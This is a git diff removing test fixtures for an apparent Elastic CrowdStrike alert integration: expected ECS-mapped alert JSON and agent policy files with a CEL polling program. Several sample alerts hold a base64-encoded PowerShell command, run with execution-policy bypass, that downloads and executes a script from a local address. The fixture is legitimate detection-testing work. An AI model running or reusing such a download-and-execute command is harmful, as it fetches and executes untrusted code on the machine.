QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "OTHERHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "OTHERHOST" - ], - "user": [ - "SOMEUSER", - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "SOMEUSER" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "prevented": true, - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z", - "user_name": "SOMEUSER", - "worker_node_name": "example" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "OTHERHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "OTHERHOST" - ], - "user": [ - "SOMEUSER", - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "SOMEUSER" - } - }, - { - "@timestamp": "2025-06-06T10:20:41.789Z", - "crowdstrike": { - "alert": { - "agent_id": "7940b10993e844e398f83bd92aa92b8f", - "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644", - "alleged_filetype": "exe", - "cid": "bdc3e3474d8848f1b8dcf41d41669a14", - "cloud_indicator": false, - "cmdline": "cmd crowdstrike_test_informational", - "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "confidence": 100, - "context_timestamp": "2025-06-06T10:20:41.124Z", - "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644", - "crawled_timestamp": "2025-06-06T10:21:45.624Z", - "created_timestamp": "2025-06-06T10:21:45.624Z", - "data_domains": [ - "Endpoint" - ], - "description": "An informational level detection was triggered on this process for testing purposes.", - "device": { - "agent_load_flags": 1, - "agent_local_time": "2025-06-06T06:28:45.178Z", - "agent_version": "7.24.19607.0", - "bios_manufacturer": "Microsoft Corporation", - "bios_version": "Hyper-V UEFI Release v4.1", - "cid": "bdc3e3474d8848f1b8dcf41d41669a14", - "config_id_base": "65994767", - "config_id_build": "19607", - "config_id_platform": 3, - "external_ip": "81.2.69.144", - "first_seen": "2025-05-29T11:54:43.000Z", - "groups": [ - "f3ba4e75244b4d06837c910a00bf80be" - ], - "hostname": "raquel-win10-3", - "id": "7940b10993e844e398f83bd92aa92b8f", - "last_seen": "2025-06-06T09:44:59.000Z", - "local_ip": "10.0.0.13", - "mac_address": "60-45-BD-D2-D4-37", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2025-06-06T10:18:32.000Z", - "os_version": "Windows 10", - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "status": "normal", - "system_manufacturer": "Microsoft Corporation", - "system_product_name": "Virtual Machine" - }, - "display_name": "TestTriggerInformational", - "email_sent": true, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "global_prevalence": "common", - "grandparent_details": { - "cmdline": "cmd crowdstrike_test_medium", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "local_process_id": "2796", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315", - "process_id": "17938741315", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "timestamp": "2025-06-06T10:20:21.000Z", - "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - }, - "has_script_or_module_ioc": false, - "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "is_synthetic_quarantine_disposition": false, - "local_prevalence": "unique", - "local_process_id": "6028", - "logon_domain": "raquel-win10-3", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "name": "DemoInformationalPattern", - "objective": "Falcon Detection Method", - "parent_details": { - "cmdline": "cmd crowdstrike_test_low", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "local_process_id": "4840", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135", - "process_id": "17940808135", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "timestamp": "2025-06-06T10:20:32.000Z", - "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - }, - "parent_process_id": "17940808135", - "pattern_disposition": 0, - "pattern_disposition_description": "Detection, standard detection.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "containment_file_system": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "mfa_required": false, - "operation_blocked": false, - "policy_disabled": false, - "prevention_provisioning_enabled": false, - "process_blocked": false, - "quarantine_file": false, - "quarantine_machine": false, - "registry_operation_blocked": false, - "response_action_already_applied": false, - "response_action_failed": false, - "response_action_triggered": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "10307", - "platform": "Windows", - "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==", - "process_id": "17942810918", - "process_start_time": "2025-06-06T10:20:41.000Z", - "product": "epp", - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 10, - "severity_name": "Informational", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "show_in_ui": true, - "source_products": [ - "Falcon Insight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "Falcon Overwatch", - "tactic_id": "CSTA0006", - "technique": "Malicious Activity", - "technique_id": "CST0002", - "template_instance_id": "1339", - "timestamp": "2025-06-06T10:20:41.789Z", - "tree_id": "17181460644", - "tree_root": "17934037600", - "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918", - "type": "ldt", - "updated_timestamp": "2025-06-06T10:21:50.710Z", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - } - }, - "device": { - "id": "7940b10993e844e398f83bd92aa92b8f", - "manufacturer": "Microsoft Corporation", - "model": { - "name": "Virtual Machine" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "kind": "alert", - "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "hostname": "raquel-win10-3", - "id": "7940b10993e844e398f83bd92aa92b8f", - "ip": [ - "81.2.69.144", - "10.0.0.13" - ], - "mac": [ - "60-45-BD-D2-D4-37" - ], - "os": { - "full": "Windows 10", - "platform": "Windows", - "type": "windows" - } - }, - "message": "An informational level detection was triggered on this process for testing purposes.", - "process": { - "entity_id": "17942810918", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "hash": { - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" - }, - "name": "cmd.exe", - "parent": { - "command_line": "cmd crowdstrike_test_low", - "entity_id": "17940808135", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "hash": { - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" - }, - "name": "cmd.exe", - "pid": 17940808135 - }, - "pid": 17942810918, - "start": "2025-06-06T10:20:41.000Z", - "user": { - "id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "name": "win10_user3" - } - }, - "related": { - "hash": [ - "2b40c98ed0f7a1d3b091a3e8353132dc", - "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "raquel-win10-3" - ], - "ip": [ - "81.2.69.144", - "10.0.0.13" - ], - "user": [ - "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "S-1-5-21-2765107603-2663188678-2286454264-500", - "win10_user3" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0006" - ], - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "id": [ - "CST0002" - ], - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "name": "win10_user3" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml deleted file mode 100644 index be41bb0d47..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml +++ /dev/null @@ -1,4 +0,0 @@ -fields: - tags: - - preserve_original_event - - preserve_duplicate_custom_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected deleted file mode 100644 index af6a6e323c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected +++ /dev/null @@ -1,134 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-default-crowdstrike - streams: - - auth.oauth2: - client.id: test_client_id - client.secret: ${SECRET_0} - token_url: http://host.tld/oauth2/token - config_version: 2 - data_stream: - dataset: crowdstrike.alert - interval: 24h - program: |- - state.with( - ( - state.?want_more.orValue(false) ? - state.start_time - : - state.?cursor.last_timestamp.orValue( - (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) - ) - ).as(start_time, - post_request( - state.url.trim_right("/") + "/alerts/combined/alerts/v1?", - "application/json", - { - ?"after": state.?next.page_token, - "limit": int(state.batch_size), - "sort": "updated_timestamp|asc", - "filter": [ - "updated_timestamp:>'" + start_time + "'", - ?state.?query.optMap(q, "(" + q + ")"), - ].join("+"), - }.encode_json() - ).do_request().as(resp, (resp.StatusCode == 200) ? - resp.Body.decode_json().as(body, - (size(body.?errors.orValue([])) > 0) ? - { - "events": body.errors.map(error, - { - "error": { - "code": string(error.code), - "message": string(error.message), - }, - } - ), - "next": {}, - "want_more": false, - } - : - { - "events": has(body.resources) ? - body.resources.map(e, - { - "message": e.encode_json(), - } - ) - : - [], - "start_time": start_time, - "next": { - ?"page_token": body.?meta.pagination.after, - }, - "cursor": { - // The records are sorted in ascending order based on the value of updated_timestamp, - // in the next interval we start from the last event (newest) time. - ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? - optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) - : - state.?cursor.last_timestamp, - }, - "want_more": has(body.?meta.pagination.after), - } - ) - : - { - "events": { - "error": { - "code": string(resp.StatusCode), - "id": string(resp.Status), - "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( - (size(resp.Body) != 0) ? - string(resp.Body) - : - string(resp.Status) + " (" + string(resp.StatusCode) + ")" - ), - }, - }, - "next": {}, - "want_more": false, - } - ) - ) - ) - publisher_pipeline.disable_host: true - redact: - fields: null - resource.ssl: null - resource.timeout: 30s - resource.tracer: - enabled: false - filename: ../../logs/cel/http-request-trace-*.ndjson - maxbackups: 5 - resource.url: http://host.tld - state: - batch_size: 1000 - initial_interval: 24h - tags: - - preserve_original_event - - preserve_duplicate_custom_fields - - forwarded - - crowdstrike-alert - type: cel - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.alert-ep - privileges: - - auto_configure - - create_doc -secret_references: - - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml deleted file mode 100644 index 58bbc1f403..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml +++ /dev/null @@ -1,9 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected deleted file mode 100644 index dbe88b82e4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected +++ /dev/null @@ -1,134 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-traced-crowdstrike - streams: - - auth.oauth2: - client.id: test_client_id - client.secret: ${SECRET_0} - token_url: http://host.tld/oauth2/token - config_version: 2 - data_stream: - dataset: crowdstrike.alert - interval: 24h - program: |- - state.with( - ( - state.?want_more.orValue(false) ? - state.start_time - : - state.?cursor.last_timestamp.orValue( - (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) - ) - ).as(start_time, - post_request( - state.url.trim_right("/") + "/alerts/combined/alerts/v1?", - "application/json", - { - ?"after": state.?next.page_token, - "limit": int(state.batch_size), - "sort": "updated_timestamp|asc", - "filter": [ - "updated_timestamp:>'" + start_time + "'", - ?state.?query.optMap(q, "(" + q + ")"), - ].join("+"), - }.encode_json() - ).do_request().as(resp, (resp.StatusCode == 200) ? - resp.Body.decode_json().as(body, - (size(body.?errors.orValue([])) > 0) ? - { - "events": body.errors.map(error, - { - "error": { - "code": string(error.code), - "message": string(error.message), - }, - } - ), - "next": {}, - "want_more": false, - } - : - { - "events": has(body.resources) ? - body.resources.map(e, - { - "message": e.encode_json(), - } - ) - : - [], - "start_time": start_time, - "next": { - ?"page_token": body.?meta.pagination.after, - }, - "cursor": { - // The records are sorted in ascending order based on the value of updated_timestamp, - // in the next interval we start from the last event (newest) time. - ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? - optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) - : - 